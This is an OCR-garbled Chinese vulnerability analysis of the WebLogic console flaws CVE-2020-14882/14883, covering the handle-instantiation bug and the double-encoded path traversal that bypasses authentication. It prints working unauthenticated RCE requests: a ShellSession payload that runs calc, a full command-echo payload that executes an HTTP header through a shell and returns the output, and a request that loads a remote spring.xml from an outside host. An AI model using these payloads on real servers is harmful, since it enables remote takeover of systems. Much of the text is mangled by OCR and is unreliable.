[CVE-2020-14882/14883]WebLogioc console
INEST + ST

Caused By: weblogic.security.service.InvalidParameterException: No handle class found for t

ype: com.tangosol.coherence.mvel2.sh.ShellSession

%E 10.3.6.0 J:ﬁﬁ com.tangosol.coherence.mvel2.sh.ShellSession gimﬁfr,
RS

<2020-10-30 TF048F337354%) CST> <Error> <Console> <BEA-240003> <Administration Console enco
untered the following error: com.bea.console.exceptions.NoJMXServerException: Domain Runtim
e MBean Server is not enabled. You will need to enable it through the JMXMBean.

at com.bea.console.utils.MBeanUtils.getDomainRuntimeServiceMBean(MBeanUtils. java:19

23)
at com.bea.console.utils.MBeanUtilsInitializer.initMBeanUtils(MBeanUtilsInitializer

.java:70)
at com.bea.console.utils.MBeanUtilsInitializer.initMBean(MBeanUtilsInitializer.java

:34)

‘com. tang

$ grep -rn
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com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
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[CVE-2020-14883] E =BT

%14 TEHIHE / console/console.portal BIINER (EEEIAIL)

[REA: ZBEXRMEA handle IEERIEMRIE, SEAIMNEEEES., ABEHITIZENERIR—
String ZEWSHHIMWIESE, SHERLBRIT.

BRiIk* T com.tangosol.coherence.mvel2.sh.ShellSession XM 24, 8B AFHREMFEE
FHFE,

server\lib\consoleapp\webapp\WEB-
INF\lib\console.jar!\com\bea\console\handles\HandleFactory#getHandle(String
serializedObjectID)

@e public static Handle getHandle(String serializedObjectID) { serializedObjectID: "java.net.InetSocketAddress('calc.7f0d6d899
(] if (Stringutils.isEmptyString(serializedObjectID)) {
throw new InvalidParameterException("No serialized object string specified");
} else {
serializedObjectID = serializedObjectID.replace( oldChar '+', newChar ' ');

String serialized = HttpParsing.unescape(serializedObjectID, "UTF-8"); serialized:
int open = serialized.index0f(48); open: 26
if (open < 1) {

throw new InvalidParameterException("Syntax error parsing serializedObjectID string: " + serialized);
1lse = =

petee d AT A INERRY SR i
String className = serialized.substring(@, open); className: "jova.net.InetSocketAdd

string objectIdentifier = serialized.substring(open + 2, serialized.length() - 2); objectIdentifier: le.7fod

try { It SRR — 1 StringA S
Class handleClass = Class.forName(className); oo %ZE‘]F@&%%’ clc java.net. etAddre

Object[] args = new Object[]{objectldentifier},

--- Constructor handleConstructor = handleCl

return (Handle)handleConstructor.newInstance(args);
: S Y| b =
} catch (ClassNotFoundException var8) { ﬂ&}j@iulﬁ%muﬂmﬂj#%
throw new InvalidParameterException(''No handle class found for type: " + classMame);
} catch (Exception var9) { Eﬁi—}%fﬁ' CETIPL NP PR r,|,J{
throw new InvalidParameterException("Unable to instanciate handle type: " + c‘L_an'Na'ﬁTgl,qaal‘?‘jﬁf}'J =i

}

BEHREHIETX className &4 Handle EHF £
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ER: https://miro.medium.com/max/700/1*vZbVtrtLOfIWO9A9_SLowg.png
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Implementations of Handle 32 usages

£, AnnotationHandle.class 1 usage

> AppDeploymentHandle.class 1 usage
£, ConnectorPropertiesUpdateHandle.class 1 usage
£, DeploymentDescriptorHandle.class 1 usage

£, ExtensionHandle.class 1 usage

< class ExtensionHandle
£, Handlelmpl.class 1 usage
< class Handlelmpl
£, JMSMessageHandle.class 1 usage
< class JMSMessageHandle
£, JMSRemoteEndpointHandle.class 1 usage
£, JMSRemoteEndpointMessageHandle.class 1 usage
£, JMSTransactionHandle.class 1 usage
£, JMXHandle.class 1 usage
£, IMXSubObjectHandle.class 1 usage

 shadowsockT

T TN ESME R — String KEIIE R AR B BET ISR

package com.bea.console.handles;

import ...

public class ModuleDescriptorHandle extends ModuleHandle {
public ModuleDescriptorHandle(String objectIdentifier) {
e th15.seﬂType(MaduleDeacriptDrHandle.class};

this.setObjectIdentifier(objectIdentifier);
T shadowsock?



12.1.3.0 SIRX i

/console/console.portal

BRRURIREHEIXTEIRK R,

try {
] Class handleClass = Class,forName(className);
Object[] args = new Object[]{objectldentifier}; ocbjectIdentifier: "System.out.println("test_b

Constructor handleConstructor = handleClass.getConstructor (String. c'lass),

[N 4

shadowsockT

return (Handle)handleConstructor.newInstance(args);

} catch (ClassNotFoundException vard) {

BE= ClassLoader FI[REHE? BARIEA

=

[CVE-2020-14882] iAilE%%]
ip0

/console/images/../console.portal
/console/images/%2E%2E%2Fconsole.portal

FEEMZERIME:

Request Response
| Raw | Params | Headers | Hex | [Raw | Headers | Hex [ HTHAL |
1 GET fconsole/console.portalhandle= 1§ 1 HTTP/1.1 302 Moved Temporarily
com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().ex 2 connactmn closa
0

ec('calc')") HTTP/1.1

Accept-Encoding: ogzip, deflate
Connection: close 00 ON=
User-agent: Mozilla tkszk:lwdth&ysFPSDvVHxJlbswn3tuavasmh\rz7sbm:(3Nm1630154553‘ path=/; Httponly

Accept: *[% G Conmtent-Length: 291

Host: cqq.com:7001 7

& <html><head><title=302 Moved Temporarily</titles</head>

9 <body bgcolor="#FFFFFF">

10 <p>This document you requested has moved

11 tunpcrar\'ly =fp>

12 <p>It’'s now at <a Lerm
href="http://cqq.com: ?Onlfconso'le,!'logﬂrl!Loo (oo 1.53S]:-ﬁtf;]'.'U'.,"il{.”tﬁ;"'oir(;‘! onsole
."Iumrl.!l.oumFurll Jspefax.</p> —f I S e

13 </bodys</html>

LR TSN




AMESE TR ES T INERE:

e /images/*

e /css/*
SHBREFH, E url HmIE—REIHBARIT,
/console/images/%252E%252E%252F console. portal
BEIZRmERY../, B
/console/console.portal

X7 5d T xS

/console/css/%25%32%65%25%32%65%25%32%66consol e . portal
DLEAYIAIERIF
B E XFE R IR RS

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..",
I|%3CI| s ll%3Ell R I|<I| R n ll} ;

WA, RIZATUAGEIOREIANT (RZZIFNTIZER)
BT+ T RERHIIRTA String #1T contains #IJ1#f,
/console/css/%252e%252e%252f console . portal

PR R S #RENG N2 0 BT AT IORAI#M T,

CET /roncnla/rcc /YUDPRYUDYARYIRY QDALY ICY RV ARARrAancnl ea1nds maryAal 2+ac+ handl ca—cam +anancecnl ~ah
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erence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.Ex
ecuteThread)Thread. currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCu
rrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectio
nHandler");field.setAccessible(true);0bject obj = field.get(adapter);weblogic.servlet.inter
nal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().g
etMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds
= System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe",

"/c", emd} : new String[]{"/bin/sh", "-c", cmd};if(Ccmd != null ){ String result = new java.
util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A
"Y.next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.S
ervletResponseImpl)req.getClass().getMethod("getResponse™).invoke(req);res.getServletOutput
Stream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputS
tream().flush();} currentThread.interrupt();') HTTP/1.1

Host: cqq.com:7001

Connection: close

cmd: whoami

SZ . https://twitter.com/chybeta/status/1322131143034957826
Z#% handle

E:\Oracle\Middleware12.2.1.3\wlserver\server\lib\consoleapp\webapp\WEB-
INF\lib\console.jar'\com\bea\console\utils\HandleUtils#handleFromQueryString(HttpServ

letRequest request)

private static Handle handleFromQuerystr1ng(HttpServ1etRequest request) { request: PageFlowRequestWrapper@l7o44
String enc = request.getCharacterEncoding(); enc utf-8"
if (enc == null) {
enc = "UTF-8";
}

Map queryMap = new HashMap(); gueryMop: size
String queryString = request.getQueryStri ng() queryStrin

if (queryString != null) { gueryString handle=com. tangoso

I HttpParsing. parseQueryStr'lng{request getQueryStr'lng() gueryMap, enc),l ‘equest:
Iterator keys = queryMap.keySet().iterator(); queryMap

€

while(keys.hasNext()) {
String key = (String)keys.next(); ke
if (key.endswith("handle")) {

1 ---- return (Handle)ConvertUtils.convert(HttpParsing.unescape((String)queryMap.get(key), enc), Handle.cla

queryMap = {HashMap@17046} size = 1

*handle” -> "com.tangosol.coherence.mvel2.sh.ShellSession... View




. S snadowsock ]

FINEHXENZE handle tBRATLAR E AR, REM handle LEBIA,

[BIE

BIREZF AT thread=> 27 request=> 2% response=> 5ZIZEFix

=k

SE:
o [lufei KfER 2725 BYEIEMIEF R ](https://xz.aliyun.com/t/5299)

e https://github.com/feihong-cs/Java—Rce-
Echo/blob/master/weblogic/code/WeblogicEcho.jsp

B I AL -
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

El TR

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coh
erence.mvel?2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.Ex
ecuteThread)Thread. currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCu
rrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectio
nHandler");field.setAccessible(true);0bject obj = field.get(adapter);weblogic.servlet.inter
nal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().g
etMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds

= System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe",
"/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.
util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A
"Y.next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.S



ervletResponseImpl)req.getClass().getMethod("getResponse™).invoke(req);res.getServletOutput
Stream() .writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputS

tream().flush();} currentThread.interrupt();

Host: cqq.com:7001
Connection: close

cmd: whoami

Request

Raw | Params | Headers | Hex |

") HTTP/1.1

Response

Raw | Headers |El Render |

L GET /console/css/%252e%252e%252fconsoleindi.portal?handle=
com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread
currentThread
= (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.workaAdapter
adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter
.getClass() .getDeclaredField("connectionHandler");field.setAccessible(true);objec
t obj = field.get(adapter) ;weblogic.servlet.internal.ServietRequestImpl req = (we
blogic.servlet.internal.Serv]etRequestImpl)obj.getClass().getMethod("getServietRe
quest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.get
Property("os.name") .toLowercase() .contains ("window") 7 new String[]{"cmd.exe", "/
c", cmd} : new string[]l{"/bin/sh”, "-c", cmd};if(cmd !'= null ){ String result = n
ew java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream())
.usebDelimiter ("\\A").next(): weblogic.servlet.internal.ServietResponseImpl res =
(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getRespo
nse").invoke(req);res.getServietoutputStream().writestream(new weblogic.xml.util.
StringInputStream(result));res.getServietoutputStream().flush();} currentThread.i

HTTP/1.1 200 OK

Connection: close

Date: Sat, 31 Oct 2020 06:14:07 GMT
content-Type: text/html; charset=uUTF-8
Set-Cookie: ADMINCONSOLESESSION=
plp9us9deKdgcInveaZZBqghDKRZ2ZOWFPD2398qLfo
path=/console/; HttpoOnly

Content-Length: 19

TN TY NP

cqql\administrator

W 00~ O

nterrupt();") HTTP/1.1
Host: cgg.com:7001
Connection: close
Content-Length: 2

> |Emas oami

SN

o

Raw | Params | Headers IHEX |

GET
/console/css/%25%32%65%25%32%65%25%32%66consolejndi . portal?
JNDIContentSecurityPeoliciesPortlethandle=com.bea.core.repac
kaged.springframework.context.support.FileSystemXmlApplicat
ionContext( 'http://192.168.170.1:8877/spring.xml")

HTTF/1.1

Host: 192.168.170.250:7001

Connection: close
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https://twitter.com/testanull/status/1322038876311990272

ERRIENE

X EIMAYATE LI / console/consolejndi.portal FRMATAfEA, FRLA
E/OE P T RRERAE), EBIZRZEIETAE console,

e /console/console.portal

e /console/consolejndi.portal

CVE-2020-14882 weblogic FiZX e SHITEM

cve-2020-14882 weblogic £33 & F DT

https://testbnull.medium.com/weblogic-rce-by-only—one-get-request-cve-
2020-14882-analysis—6e4b09981dbf

https://github.com/jas502n/CVE-2020-14882


https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484227&idx=1&sn=ebf785ae178f179711f8ce426e3f4380&scene=21#wechat_redirect
http://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484235&idx=1&sn=3b4561f398f86af88ca717e051318e9f&chksm=fa8b1ed3cdfc97c57f6c9a53fdb7f807470306d96718781e47098fa771f40a33a2d1b8aa3099&scene=21#wechat_redirect

